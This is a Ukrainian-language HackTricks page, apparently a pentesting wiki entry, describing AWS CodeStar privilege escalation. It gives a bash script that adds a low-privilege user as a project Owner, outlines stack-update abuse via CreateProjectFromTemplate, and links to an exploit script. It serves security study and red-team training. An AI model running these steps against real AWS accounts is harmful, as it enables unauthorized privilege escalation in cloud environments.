AWS - Codestar Privesc

Reading time: 3 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Codestar

Ви можете знайти більше інформації про codestar у:

codestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

З цими дозволами ви можете зловживати роллю IAM codestar для виконання произвольних дій через шаблон cloudformation. Перевірте наступну сторінку:

iam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Ця техніка використовує codestar:CreateProject для створення проекту codestar, і codestar:AssociateTeamMember для того, щоб зробити користувача IAM власником нового проекту CodeStar, що надасть їм нову політику з кількома додатковими дозволами.

bash
PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Якщо ви вже є учасником проекту, ви можете використовувати дозвіл codestar:UpdateTeamMember для оновлення вашої ролі на власника замість codestar:AssociateTeamMember.

Потенційний вплив: Privesc до політики codestar. Ви можете знайти приклад цієї політики в:

codestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Створити новий проект:
  • Використовуйте дію codestar:CreateProjectFromTemplate для ініціювання створення нового проекту.
  • Після успішного створення доступ автоматично надається для cloudformation:UpdateStack.
  • Цей доступ специфічно націлений на стек, пов'язаний з роллю IAM CodeStarWorker-<generic project name>-CloudFormation.
  1. Оновити цільовий стек:
  • З наданими дозволами CloudFormation продовжте оновлення вказаного стеку.
  • Ім'я стеку зазвичай відповідатиме одному з двох шаблонів:
  • awscodestar-<generic project name>-infrastructure
  • awscodestar-<generic project name>-lambda
  • Точне ім'я залежить від обраного шаблону (зверніться до прикладу експлойт-скрипта).
  1. Доступ і дозволи:
  • Після оновлення ви отримуєте можливості, призначені для CloudFormation IAM ролі, пов'язаної зі стеком.
  • Примітка: Це не надає автоматично повних адміністративних привілеїв. Додаткові неправильно налаштовані ресурси в середовищі можуть бути необхідні для подальшого підвищення привілеїв.

Для отримання додаткової інформації перевірте оригінальне дослідження: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/.
Ви можете знайти експлойт у https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Потенційний вплив: Privesc до ролі cloudformation IAM.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks